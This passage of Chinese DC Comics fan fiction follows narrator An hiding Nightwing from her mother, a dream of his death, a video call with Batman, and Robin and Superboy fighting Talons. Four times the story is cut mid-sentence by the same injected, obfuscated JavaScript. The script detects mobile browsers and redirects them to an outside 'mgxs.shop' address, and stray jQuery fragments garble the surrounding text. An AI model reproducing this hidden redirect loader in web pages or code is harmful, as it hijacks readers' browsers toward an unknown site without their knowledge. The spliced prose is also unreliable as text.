“你醒了?那就把这杯蜂蜜水喝了吧?”他把玻璃杯塞进我手里,触手温热,像是提前晾好的。 “你没有去睡觉吗?”我道了一声谢,犹豫地问道,我现在脑子已经完全脱离了酒精的控制,变得清醒了起来,忍不住开始对之前醉酒的时候做的事情感到尴尬。 说到这个,迪克的脸上露出有些微妙的无奈之色,这让我有一种不太好的预感,“不会又是我做了什么......吧?” “不,没有。”他摇头否认了我的猜测,“现在时间还早,要再去睡一会吗?” 喝了蜂蜜水之后,我头痛的感觉减轻了一些,四肢也不再像之前那样软绵绵的了,一骨碌爬起来,准备先去洗个澡。 既然迪克都说没有,那我就当做没有好了。 人要在合适的时候装傻充愣,才不会让自己陷入更加尴尬的境地里。 痛快洗了个热水澡之后,那点头痛也消散了许多,我打着哈欠擦着头发准备回卧室再睡一觉,转头就看见迪克坐在沙发旁的地毯上拿着螺丝刀不知道在做什么。 “你不去睡一会吗?” 迪克抬起头,将手里的东西放到一旁的盒子里,我没能看清那是什么,他很快向我招了招手,“来吧,我帮你把头发吹干再去睡觉。” 我站在原地纠结了一秒究竟是直接湿着头发去睡觉,还是享受一下住家小鸟的贴心服务,最后屈从于我的懒惰之下。 吹风机的声音呼呼地响起,修长有力的手指在我的发丝之间穿梭,我昏昏欲睡地靠在沙发扶手旁,谁都没有再说话。 很快,声音就停了下来,“好了。” 我已经困得睁不开眼睛了,如游魂一般飘回了卧室,倒在我柔软的被子里。 迪克好像说了些什么,我没太听清。 算了,如果不是特意提起的话,那应该不是很重要吧......? 我的意识陷入了黑沉的梦乡。 天空碧蓝如洗,白花花的云朵潮湿又柔软,我漂浮在云端,张开双翅振臂穿过云层,看到了一个红蓝配色的人背着光飞在我的前面。 我听到我叫了那个人的名字,只可惜他并没有回应我,我只好远远地缀在他的身后,跟着他来到一处偏僻的巷道。 他手忙脚乱地从巷道里跑出来时,身上红蓝色的制服已经换成了普通的衬衫和西裤,脸上还戴上了一个平平无奇的黑框眼镜。 我扑闪着翅膀跟在他身后进入了星球日报,跟身边的同事打招呼,然后坐到了工位上开始工作。 这太无聊了,我收起翅膀蹲在对方的肩膀上,盯着他的电脑屏幕看。 最上面就一行大字。 “布鲁斯·韦恩长子理查德·格雷森之死。” 我:“???” 谁,你说谁死了?! 我从这个离奇的梦境里惊醒过来,迷迷糊糊地去摸手机。 没摸到,我这才想起手机落在了客厅的茶几上。 此时窗帘外的天光已然大亮,我坐在床上发了会呆,然后慢吞吞走下床,打开卧室的门。 客厅里非常安静,大概迪克此时也在补觉,我在茶几上找到了我遗落的手机,此时已经是上午十点多,上面的电量已经岌岌可危,连忙找到充电线开始充电。 编辑又在阴间时间给我发了消息,让我可以准备开始画正稿,我给她回复了一个收到,然后脚步悬浮地走进卫生间开始洗漱。 一边刷着牙,一边开始思考那个梦境里看到的东西。 那个梦境,是幕后之人又一次向我展示什么吗? 我没能看到那个标题下的日期,无法确定那是在什么时间段发生的事情,新闻也可能会骗人,毕竟外人又不知道布鲁斯·韦恩是蝙蝠侠,而迪克在正传里确实死过,也假死过,万一那是很早之前的事情了呢? 既然我梦到了这件事,那迪克会梦到吗? 这种事情,怎么看都不适合给正主看吧,每一次死亡都不可避免的给超级英雄带来创伤,那绝不是他们复活之后看起来没事人一样就可以轻易忽略的事情。 要问一下迪克这件事吗? 我陷入了纠结之中。 就在我拿着数位笔在板子上乱涂乱画打草稿的时候,大门门铃声响起,刺破了一室的寂静。 我丢开笔,站起身向着大门走去,开始回忆自己这两天买了什么快递,但是印象里我这两天根本什么丢没买,那会是谁呢? 我谨慎地打开猫眼看了一眼,立刻倒吸了一口凉气。 夭寿了,我妈怎么在这里啊! 我像是一只被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068346|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踩了尾巴的猫一样炸开了所有毛发窜了起来,也顾不得那么多拧开次卧的门,看到缩在被子里的迪克的时候来不及说什么,拖着他的胳膊就往外拉。 迪克茫然地睁开眼睛,顺着我的力道坐起身,睡衣在我的拉拽下有些变形,“怎么了?” “我妈来了!赶紧起来去我房间!” 迪克一下子就清醒了,他看起来也有点慌乱,大概是没遇到过这种情况,一个翻身就从床上摔了下来。 我没见过他这样狼狈的样子,一时间也有点愣住,退后两步看着他揉着摔痛的屁股站起来,迅速地整理着床铺,收拾东西,动作麻利到几乎出现残影。 我目瞪口呆。 你为什么会这么熟练啊! 但我还记得我妈在门口,此时也顾不得去惊讶迪克收拾东西的速度了,立刻跑到卫生间把不属于我的东西通通都放进镜柜里,在这样惊人的速度下,我们两个像第一次上战场的新兵一样手忙脚乱但迅速地把所有属于迪克的东西都收了起来藏到了不会被发现的地方。 我这才意识到迪克已经不知不觉地在我的生活中占据了这么多角落,我记得我明明没给他买太多东西啊! 最后一步,我把迪克推进了我的卧室,然后关上了门。 用时十分钟。 我擦了一把额头的汗,顾不得再打理自己的形象,慢吞吞地去玄关,做了一番心理准备之后这才旋动门把手。 门被打开,我亲爱的妈咪宋女士双手环胸站在门口,审视地看着我。 “上午好啊老妈,您不是在火山呢吗,怎么这么快就回来了?”我讪笑。 “你不对劲,”她眯起眼睛,锐利的目光上下将我扫视了一遍,“十分有九分的不对劲,给我开个门需要这么久,家里藏东西了?” 我的心脏颤抖了一下,脸上没有暴露出分毫,义正辞严地大声辩解,“我怎么可能是这种人呢,您对我的性格还不了解吗,不可能,绝对不可能。” 我这话说的也没有毛病,毕竟迪克确实不是我带进来的,他是自己进来的。 宋女士哼了一声,“那你现在把门打开让我进去。” 我镇定地打开门,放宋女士进屋,她手里就拎着一个小行李箱,我老爹也没有跟着她,勉强松了口气,“我爸呢,他没跟您一块?” 宋女士打量屋子里的陈设,漫不经心地回答道:“东西太多了,我就让他先回市里的房子放东西去了,机场离你这近,我就来看看你。” 她话锋一转,“你这屋子有点乱啊,多久没打扫了?” 我当然是每天都要打扫,只不过刚刚收拾东西的时候给弄乱了。 但我不能承认这件事,只好尴尬地笑着默认了这件事,“太忙了嘛,这两天忙着画新稿子,没时间。” 宋女士不置可否,她还想要问些什么,我立刻就推着她远离次卧的门,往客厅的沙发上一按,让她没有机会发现次卧有人居住的痕迹。 突然,她眯起眼睛,“你谈新的男朋友了?” 我心跳漏了一拍。 29.029 虽然我这个年纪就算是带男人回家过夜也没什么大不了的,但是我还没有做好心理准备暴露在爸妈面前。 更何况我和迪克之间也并不是男女朋友的关系,那我该如何跟爸妈解释他为什么会住在我家呢,那太麻烦了。 为了他们的心脏着想,我还是别把那些危险的事情告诉他们为好。 “并没有谈恋爱,您想太多了。”我努力让自己保持无事发生,殷勤地拿起果盘里的橘子剥了起来。 “哦是吗。”宋女士伸手扶住我的脑袋,把我的脸往阳台那一扭,“那你承认挂着的男士内裤是你自己穿的咯?” 理查德·格雷森! 我盯着那条挂在阳台的晾衣杆上迎风飘扬的内裤,咬牙切齿地决定等这一趴过去再跟他算账。 “......哦这个,因为我最近发现平角裤穿起来很舒适。”我将橘子塞进自己的嘴里,棒读道;“这就被您发现了,我很尴尬的。” 宋女士脸上流露出一言难尽的神色,松开了捏着我脸的手,“那我觉得你可能买错了,乖宝,现在市面上有卖女士平角裤的,男士平角裤都开裆,你不觉得下面漏风吗?” 我又没穿过我怎么知道漏不漏风! 我更尴尬了,恨不得现在就找个地缝钻进去一辈子不出来。 “我会注意的,下次再说。”我生硬地转移话题,“那个箱子里都是给我带的东西吗,都带了什么?” 她狐疑地看了我一眼,最终还是放过了我,“都是我和你爸出去这一趟给你带的特产,东西有点多我也记不清都有什么了,你到时候跟燕子分一分,我记得她挺喜欢吃甜的,里面有一盒姜糖是专门给她带的。” 我心不在焉地点点头,“我都记下了,还有别的事情吗?” 宋女士施施然地站起身,“你看起来很不欢迎我啊,真是让妈妈伤心,我还想着今天请你出门吃一顿漂亮饭呢,既然你不欢迎我的话——” 她的声音顿了顿,似乎在等着看我的反应,却失望地在我的脸上看到了平静和木然。 宋女士:“?你看起来很平淡的样子,是已经不想跟妈妈一起吃饭了吗,妈妈好伤心。” “哦。”我木着脸说:“您忘记了吗,每一次您带我去吃漂亮饭,最后不是变成您跟老爹的约会,就是吃到非常难吃的餐厅,这次您准备选哪个?” 妈妈脸上难得露出了与我相似的尴尬表情。 “好吧,那我在家给你做顿饭吃?” 我警觉地扯住她的裙摆,决定今天无论如何也要誓死保护我的厨房。 “休想,那边家里的厨房还不够您造吗,我厨房里放了好多精挑细选的漂亮盘子,您放过它们吧。” 这个家里能炸厨房的只有一个就够了! 宋女士不说话了,我觉得我冷漠的态度有点伤到她的心,忍不住观察着她脸上的表情,准备看情况哄人。 不过这么多年下来,宋女士也隐约对自己的厨艺有了一定程度的认知,在我苦口婆心的劝诫下放弃了这个念头,最后只好用给我打钱的方式宣泄一下无处安放的母爱。 我习惯了,非常平静地接受了妈妈的爱,“老爹一个人在家里会孤单的,您要是没事的话趁早回去陪他吧。” 宋女士的脸上突然露出一个狡黠的微笑,“好吧,那我就不在你这里多待了,记得想我啊乖宝。” “会的会的,爱你老妈。”我跟在她的身后陪着她走到玄关,心中暗暗松了口气。 就在我终于放松了警惕之时,她突然凑过来附在我的耳边,悄声说,“是个挺漂亮的男孩,如果性格可以的话,试试也不错啊。” 送走了老妈,我还惊愕地站在玄关,脑子里已经被她临走前的那句话刷屏了。 不是,老妈你是有魔法吗,从哪知道迪克很漂亮的! 虽然迪克确实很漂亮! 卧室的房门被推开,迪克悄无声息地走出来。 他看起来已经恢复了镇定,并不像刚刚那么慌乱,甚至有几分轻松之感。 我转过头看向他。 “你是故意的还是不小心的?” “什么?” 我指了指阳台挂着的那条内裤,木着脸,“别告诉我你是真的忘了。” 迪克的脸上流露出真心实意的羞愧,不好意思地挠头,“抱歉,我没有遇到过这种情况,下次注意。” 我眯起眼睛,盯着他打量了许久。 看起来很诚恳的样子,或许是真的忘记了呢?毕竟我妈来的确实突然......等等,心思缜密的夜翼会出现这种问题吗? 那张漂亮脸蛋实在是具有一定的欺骗性,我有点搞不清楚了,最后只好放弃思考。 “你最好是。”我恶狠狠地戳了戳对方的胸膛,推开他去查看我妈带来的小行李箱,“记得把屋子收拾干净。” “收到,女士。”迪克步履轻快地开始干活。 我走到茶几旁边,拿起手机准备给闺蜜拍个开箱视频,让她挑一下想要什么,结果因为刚刚被我妈吓了一跳,我现在手心都还有汗,导致指纹锁失灵了。 我只好点开屏幕输密码。 手机屏幕亮起,我手一抖。 只见手机屏保上赫然是我和迪克,我们两个亲密地凑在一起比着拍照的姿势,两张年轻的脸迎着晨光,在镜头下留下了灿烂的笑容。 破案了,我知道为什么我妈知道“漂亮男孩”了,答案就在屏保里啊。 我深呼吸一口气,想了半天也想不起来这个屏保究竟是什么时候更换的,但作为这张照片里的另一个当事人,他一定知道为什么这张被我放进保密相册里的合照会出现在屏保上面吧。 “迪克。”我慢吞吞地问,“你知道我手机的密码吗?” 正在次卧收拾东西的迪克闻声探出脑袋,“不知道啊,怎么了吗?” “那你知道我屏保的照片是怎么回事吗?”我继续问。 他从房间里走出来,手上还拿着几件衣服,脸上的表情却有些奇怪,再次流露出那种欲言又止的神态。 我看着他脸上这种奇怪的表情,心中顿时有了些不太好的预感。 “呃,安,你知道你昨天晚上干么什么,对吧?”迪克挠了挠脸,干脆在我面前盘腿坐下。 我睁大眼睛。 我干什么了?我一点印象都没有! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073744|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但是我心里那种不好的预感已经在疯狂报警了,我只好开始努力回忆,在我昨天晚上断片的那段时间里究竟做了什么。 事实告诉人们,如果能轻易的回想起断片那段时间发生的事情,那就不叫断片了,我回忆了许久也没能从那段昏沉的记忆里搜刮出任何有用的信息,只好盯着迪克,试图从他的面部表情看出蛛丝马迹。 “......我干了什么。” 我自认为我是个酒品很好的人,这是我身边的人都亲自验证过的,喝醉了之后不吵也不闹,除了爱絮絮叨叨一些有的没的中二病发言,我既不会跳起来打人也不会突然性情大变,我能在断片的时候干什么? 更何况那个时候我已经清醒了一点了,最多不过是太困了睡过去了而已。 我狐疑地盯着迪克看,迪克叹了口气,将手里叠好的衣服放到旁边,伸出手捏住我的指尖,拉着它放到了自己的脸侧。 直到那张脸彻底被我的手拢住半边,那双蓝眼睛专注地注视着我,我才后知后觉地听到他问,“这样呢,安,想起来什么了吗?” 我的视线随着他一张一合的唇瓣顺移到浮现温热触感的手心,好像有碎片化的记忆如汹涌的潮水破开那黑沉的囚笼。 沉默的时间有点长,我用另一只手缓缓捂住了脸。 “对不起。”我哽咽,“你还好吗?” 我手心里的温热颤动起来,迪克在闷笑,他看起来一点也不介意的样子,甚至有点乐观的过了头。 为了让这个令人一辈子都想待在地缝里再也不出来的黑历史彻底消失在我的脑子里,我强忍着想要立刻从地球飞去火星的冲动,转移了话题。 “好吧,这一pa让我们彻底遗忘掉,好吗,我接下来要说一些重要的事情。” 我将手从迪克的脸上抽回来,不自在的抽动了一下手指,“就在我睡着的那段时间,我是说在我洗漱完之后。” 重点强调了一下做梦的时间,我继续道:“我梦到我变成一只鸟,跟着超人一块飞到了星球日报,他的电脑上显示着一个新闻标题,上面写着——” 我顿了顿,总觉得将这件事在正主面前说出来有些不好,“布鲁斯·韦恩长子理查德·格雷森之死。” 我无法从这短短的一行标题里猜测出具体的时间线,但或许迪克会知道这究竟是什么时间。 那个梦绝不是普普通通的梦,与我上一次昏迷梦到的那些片段一样,清晰地印刻在我的记忆里,而不像普通的梦境一样醒来就变得模糊不清。 迪克坐在我面前的地毯上,脸上显露出思索的神色。 “我的死亡次数并不多,”迪克说,“如果是需要登报的死亡记录,那就只有我隐姓埋名成为37号特工的那次。” “但那次是假死,不是吗?”我忍不住反驳迪克的话,我清晰无比的意识到谈论这个话题实在是个有些冒犯以及有些残忍的事情,所以我用词非常谨慎。 我无意于去掀开一些伤疤。 死亡并不是一个可以轻松说出来的单词,对于英雄们来说更是如此。 但是迪克仍旧笑了起来。 “放轻松,安,你有点太紧张了。” 30.030 “我没有紧张,迪克。” 我说:“我只是在担心你。” 当我看漫画遇到超级英雄因为各种原因受伤或是死去的时候,都有一种巴掌伸不进屏幕打不着反派的无力感。 之前打不到,但现在可不一定。 迪克因为我直白的话语沉默下来,似乎有点不知道该怎么回答,但我才不会让气氛冷场,转而继续问起梦境里发生的事情。 “我有一种猜测,不知道对不对。”我试探性地提出了我的看法,像我这种平时不怎么喜欢动脑子的人在面对师从世界第一侦探的夜翼面前,有一种小学生答题的窘迫感,但我还是说出口,“这是幕后之人在向我传递一种另类的威胁信号。” 迪克点点头,“继续。” “我猜测牠很可能已经察觉到蝙蝠侠他们在调查牠了,所以决定用这种方式威胁我?或者威胁你?” 我不确定地挠了挠下巴,看向迪克,却见他嘴角的笑容扩大了。 “你是个相当聪明的女孩,安,事实上我也是这样猜测的,不过我们还缺少最关键的因素,那就是牠为什么选择以梦境的方式来与你通话。” “首先我们要搞清楚梦境和玻璃反光这两种方式哪个更消耗能量。”我指了指自己,“我的能量。” “你是对的,不过这个答案已经呼之欲出了。”迪克站起身,回到房间拿来那个被改造成信号联络器的笔记本电脑,“最后一次通讯机会,用在这里很合适,布鲁斯大概已经查出来点什么了。” 他从电脑的某个插口连接上了一根天线,紧接着屏幕上的数据流就开始迅速转变成一个巴掌大的小对话框。 我以为这一次又是简短的通讯,忍不住探出脑袋凑过去一起看,结果没成想这一次弹出来的并不是所谓的对话框,而是一个视频通讯。 在我来不及缩回脑袋的那一刻,视频接通,一个头戴黑色尖耳蝙蝠头盔的身影出现在视频内,而我猝不及防地与那双阴翳的白色眼睛对视。 我推就这样在我毫无心理准备的情况下出现在我面前,而我现在身穿睡得皱皱巴巴的睡裙,头发蓬乱地披在脑后,脸也没洗牙也没刷的跟我推对视了。 啊啊啊啊啊啊啊啊啊啊—— 我几乎要崩溃了。 “对,对不起!”我下意识地就想要逃跑,但是被迪克一把抓住胳膊,“嘿,通讯时间很短,你确定现在就跑吗?” 我端端正正地坐了回去,用我这辈子最快的速度给自己扎了个头发,然后撩起耳边的碎发,庄重无比地端坐在屏幕前,小声打招呼。 “蝙,蝙蝠侠,你好,我是你的粉丝,你大概已经知道我了?”一股奇异的热血逐渐涌上我的大脑,这种感觉有点飘飘然,可我舍不得移开视线,贪婪地近乎冒犯地盯着对面的人看,眼睛里就只剩下屏幕里的身影。 这可是蝙蝠侠。 再说一遍,这可是——蝙蝠侠! 他真好看,就算是被遮住了上半张脸,白色的护目镜遮住了那双蓝眼睛,我依旧觉得他十分俊美。 我觉得我现在肯定脸红了,但谁能见到蝙蝠侠之后脸不红吗?没有人能够拒绝蝙蝠侠! 视频有些延迟,不过我还是听到对面蝙蝠侠那标志性的沙哑嗓音从电脑侧边的音响口传出,那声音绝对说不上好听,但在我的耳朵里如同天籁。 “你好,安,让我们长话短说。” 他是笑了一下吗? 我仿佛看到视频对面的蝙蝠侠嘴角上扬了0.001个像素,快到像是我太激动以至于产生的幻觉,那我十分肯定那不是我的幻觉,蝙蝠侠就是在笑! 脑子的热度再次飙升,我感觉自己的双颊快要被烫熟了,心率一路飙升,咕咚咕咚的心跳即将要跳出胸膛之外大叫着狂奔三千里。 “这一次的跨维度通讯证明钢骨和我建立的次元单向通道已经趋于稳定,很快就可以接夜翼回去。”蝙蝠侠说:“关于幕后之人的线索,罗宾和超级小子抓住了草蛇灰线,一系列线索都指向猫头鹰议会,以及一个隐藏起来的神秘组织,目前仅有一个代号。” “洁净使徒。” 饶是我沉迷于第一次与蝙蝠侠正面对话的梦幻氛围里,仍旧被这个代号雷的不轻。 取这种代号的反派不是疯子就是中二病,能力小一点的绑架普通人当筹码,能力大一点的直接就开始准备毁灭地球了,然后美名其曰我们人类有罪需要被救赎。 这种套路我从小到大看过不知道多少遍,都没什么新意了。 “这次安又做了一个梦,那伙人在梦境里用我的死当做是威胁的预告。”迪克挤过来,与我肩膀紧贴着,当我不得不分出一点位置给他,“你那边做了什么,我猜测那伙人是不是已经狗急跳墙了?” 蝙蝠侠的眼睛在白色护目镜遮盖下,令人无法看清他的神色,“梦境,原来如此,他们的行动要提前了。” “看来我们猜的不错。”迪克了然地一敲键盘,一行代码以肉眼看不清的速度传输了过去,“可以确认,猫头鹰议会和洁净使徒内部有分歧,猫头鹰已经掌握了足以跨越维度的道具,我已经将数据传送过去,注意查收,这玩意用的是神秘金属,我已经利用它制作了一个小型能力抑制器,不过我的手艺不精,你那边尽快。” “收到,”蝙蝠侠侧过头看向我,“注意保护好她,夜翼。” “我会的。”迪克弯起眉眼,“不再跟你的小粉丝说几句话吗,布鲁斯?” 我希冀地盯着蝙蝠侠。 黑漆漆的身影注视着我,很快他就妥协了,这一次我清楚地看到他弯起唇角,就连下颌的形状都是那么迷人,“注意安全,安,我们都在关注你。” “我会的,我,我是说,蝙蝠侠,我超级喜欢你的,你是最棒的超级英雄!” 脸颊鼓噪起热意,我强忍着尖叫的冲动,还想要再说些什么,但通讯却在下一秒挂断了。 我盯着屏幕发了会呆,直到看到它蹭的一下冒出来一股灰烟,这才意识到这个完成了重大使命的笔记本电脑终于报废了。 来不及为死掉的笔记本哀悼,我此时激动的心情再也无法抑制,忍不住攥住旁边迪克的双肩疯狂摇晃,“天啊迪克,你看到了吗!是蝙蝠侠!蝙蝠侠跟我说会关注我!我的天哪,他太温柔了,怎么会有像他这么好的人,我就知道布鲁斯是个超级温柔的大好人!迪克你也知道的吧,快跟我一起赞美伟大的蝙蝠侠!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078538|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迪克配合着被我摇晃,甚至还有闲暇把冒烟的笔记本推远一些,听到我絮絮叨叨将近半个小时对蝙蝠侠的赞美之后终于有些破功了。 “好了好了,安,我知道你很喜欢布鲁斯,但是现在他又听不到。”迪克的语气古怪起来,他从小到大已经见识过布鲁斯对各个年龄段的女性的杀伤力了,没想到只一个照面的功夫,我就彻底被俘获,原本还有所顾忌的人现在彻底演都不演了。 “他还叫了我的姓氏。”我捧住双颊,感觉自己幸福的晕眩了,“他声音可真好听,就算带了变声器也好听。” “......我也一直在叫你的姓氏。”迪克忍了又忍,最后开始没有忍住,抱怨起来,“难道不是我最先叫你的姓氏的吗?好吧这确实有点普通了,那我以后叫你媛媛好了。” 他的眼睛亮了一下,“媛媛,我看那些老人都是这样叫你的。” 这两个字对于非汉语母语国家的人来说有点难念,必须要一个字一个字的念,这样就会显得很奇怪,不像是在叫媛媛,而是在叫圆圆。 “不行,这是长辈才有的权利。”我冷酷无情地拒绝了迪克这样叫我,“你还是叫我安吧。” 迪克有点失落,“难道你没有什么英文名吗,安这个发音很像Ann,我还从来不知道你的英文名呢。” 我勉强从激动到停摆的大脑里搜寻了一下我的英文名,这有点太久远了,久远到还是高中课程里有外教老师跟我们说要取一个英文名方便点名我才取的,因为我的姓氏本身就已经很接近Ann的发音,所以为了省事,也因为那个时候我正在读《绿山墙的安妮》,所以干脆也给自己取名叫Anne。 “如果不想叫我安的话,Anne也行。”我犹豫着说,“但是被熟悉的人叫英文名有点奇怪,最好还是叫我安。” 最后我还是让迪克放弃了叫我英文名的打算,在我的威逼利诱之下。 不过在迪克这样岔开话题之后,我混乱的大脑终于冷静了下来,人在理智回归之后都会忍不住复盘刚刚的行为有无缺漏,结果等到我回想之后,立刻就感觉到我与我推的第一次见面究竟有多仓促和简陋。 难道粉和自推第一次见面的时候不应该是我画上最精致的妆容,穿上最漂亮的衣服,带上各种为自推制作的小礼物体贴又稳妥地去见他吗? 为什么会变成我蒙头垢面地在一个巴掌大小的通讯框里隔着一个次元壁和模糊不清的景象见到自推啊。 这不对吧! 联想到这可能是我这辈子与自推第一次也是最后一次说话的机会,我就忍不住悲从中来。 “所以蝙蝠侠说单向通道已经稳定下来的意思,是你可以随时选时间回去咯?”我情绪低落地问。 原本还在思考到底是叫我安还是叫我Anne的迪克脸上笑容淡去,挠了挠头,“确实是这么个意思,不过我们还需要解决一下猫头鹰议会手里那些传送装置的问题,不然我离开之后你的安全没有保障。” “这样啊。” 我点点头,心中涌起说不清道不明的复杂情绪,有点像是失落,也有点像是庆幸,但这些复杂情绪都只能被我强行压在心底,面色如常地聊着别的话题。 31.031 “进展如何,博士?” 问出这句话的人浑身包裹在干净整洁不染一丝尘埃的白袍子里,当牠说话的时候,那伶仃单薄的躯体便会有着近似于活人一般的起伏。 这声音非常轻,语调也是趋于平滑柔和的音色,却在偌大的空间内交织成一片诡谲的,不辨男女的杂音。 “连接中断了。”博士站在巨大的,足足占据了整面墙的实验仪器面前,低垂着头在操作台上记录着数据。 “看来那些害虫们已经采取措施了。” 白袍人了然地颔首,“不过我们已经从那位好心人的身上抽取到了足够多的力量,不是吗?请继续实验吧,博士,这个世界会铭记您的付出。” 博士摘下眼镜,回头看向白袍人,“我当然愿意为了理想献出一切,但恕我直言,先生,您对猫头鹰议会的态度令我感到不安。” “不好意思。”白袍人颇为礼貌地表达了自己的歉意,“同行之人在前进的旅途之中出现分歧在所难免,您是了解我的,我并不认同猫头鹰议会那种近乎粗蛮无礼的野人做派,当然,我并不会直接否定他们为共同的目标做出的努力,只不过——” 牠轻笑了一声。 “我也需要他们在新世界的来临之前,为我们除去那些恼人的害虫,不是吗?” 哥谭,下水口。 “你确定追踪的地方对吗?罗宾。”超级小子乔纳森·肯特伸出手接了一滴从管道上方滴落的水珠,不出意外地嗅闻到了一股相当恶心的气味。 “ew,好臭。”小乔立刻甩了甩手,试图将那股臭味从手上甩下去,他有点后悔自己刚刚手欠非要去接下水道里的水了。 他看向走在前面似乎并不受下水道内臭气影响的达米安,还是跟了上去,缀在他身后左右张望。 “这里看起来什么都没有,”小乔说:“一点留下的痕迹都没有,这很不对劲,罗宾。” “我当然知道。”达米安终于开口了,他手里正拿着一个探测仪,此时仪器的屏幕上正急促闪烁着红光,他满意地勾起唇角,“看,我们到了。” 出现在两人面前的,是一个几乎与下水道锈迹斑斑的墙壁融为一体的金属闸门。 这个时候就轮到小乔工作了,他用力地攀住金属闸门上的转轮,在转动三周半之后,总算是拧开了。 金属门“吱呀”一声开启,两个人对视一眼,由达米安率先迈入门中。 这是一个比起下水道来说相对干净一点的隧道,不知道深度,也不知道前面通往何处,但达米安手中的探测器上仍旧显示他们的目标在向前不断移动着。 “注意警戒。”达米安言简意赅地提醒,然后握紧了刀柄。 小乔此刻也不再东张西望,全力保持注意力集中的状态,两个人静默地逐渐沿着隧道前行,空荡幽僻的隧道内仅剩下两个人衣料摩擦的细小动静,就连呼吸声都几不可闻。 大概十分钟后,这条蜿蜒曲折的隧道才终于看到了尽头。 “怎么会是一堵墙?”小乔走上前四处摸索了一下,任凭他怎么检查,这都是一堵不折不扣的普通水泥墙。 但是在交通网四通八达的哥谭下水道里,这堵墙的出现本身就已经代表了有猫腻。 手中的探测仪终于不再重复的闪烁红光,达米安收回仪器,在墙上摸索了几下,同样没有发现任何可能存在机关的装置。 既然墙壁上没有,又与探测器上的点位重合,那么这个时候就应该考虑头顶或是脚下。 就在达米安意识到这一点的下一秒,小乔不知道踩在了哪块地方,只听见“咔嚓”一声,两个人的脚底瞬间一空,极速向下坠落。 达米安在半空中迅速扭转身形,勾枪急射而出勾住墙壁一侧,随后小乔也飞了起来,抓住达米安的手臂将他带了下去。 两个人一落地,就立刻原地翻滚避开飞射而来的飞刀,达米安长刀出鞘挽起刀花,将飞刀一一击落,小乔吹出一阵风,将所有靠近他们的刀片都吹飞了出去。 叮叮当当一阵脆响之后,从昏暗的甬道内缓缓走出十几只利爪。 小乔有点紧张,“有点不太妙,现在要通知你爸爸吗?” 不用小乔提醒,达米安就已经点开了通讯频道,在经历了一系列来自生活的教育之后,他已经学会了遇到麻烦找家长这一人生哲理。 就像当初为了阻止刺客联盟又在哥谭搞破坏,于是果断摇来了正在休息的夜翼那样,达米安这次也果断地选择了摇人。 聪明的罗宾会选择最优解。 “父亲。”达米安避开一只利爪的攻击,纵身跃上另一只利爪的肩颈,长刀贯穿对方的骨头夹缝里,致使对方无法轻易扭转身体攻击到他。 “或许你需要来看看,猫头鹰的利爪在这里出现了。” 这一次为了让夜翼早点从那个所谓的高维度世界回来,达米安也付出了相当多的努力。 他拉着小乔一起,顺着追查到的那点蛛丝马迹一路追踪利爪到这里,总算是看到了一点成果。 被层层利爪包围的两个少年灵活地上蹿下跳,短短几分钟内就合力解决掉了三只利爪,将他们拆的七零八碎,这时候罗宾的长刀就起到了很大的作用,至少在分割骨头之间的软骨这方面来说相当好用。 “我以后要不要也去打造一把刀带着?”小乔忍不住说。 “你有你的超能力就够了,乔,”达米安停下来喘了口气,“多余的武器只会限制你的发挥。” 小乔被哄得很开心,双眼再次射出热射线,将扑上来的利爪逼退。 他的热视线还没有爸爸那么强大,但已经够用了。 达米安趁机点开手臂上的联络器,发现上面属于搅局者的点位已经开始迅速向着他们这边移动。 “哇。”小乔忙里偷闲地看了一眼,“斯蒂芬也要来吗,那这些利爪不够分的吧?” “或许是神谕需要线索。”达米安起跳,长刀贯穿其中一只利爪的手腕,利用惯性将整节腕骨削去一大部分,失去尖锐爪子的利爪几乎成了没有攻击性的猫,很快步了前面几只利爪的后尘。 两个人齐齐退后几步,一道黑色的身影已经出现在他们两个的身后。 “情况如何?” 属于蝙蝠侠的沙哑嗓音响起,紧随而来的是搅局者活泼的招呼声,“晚上好男孩们,介意加我一个吗?” “噢。”搅局者下来之后才看到一旁融于黑暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082216|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的蝙蝠侠,她收敛了一些,但不多,“晚上好bat,我也来帮忙了。” 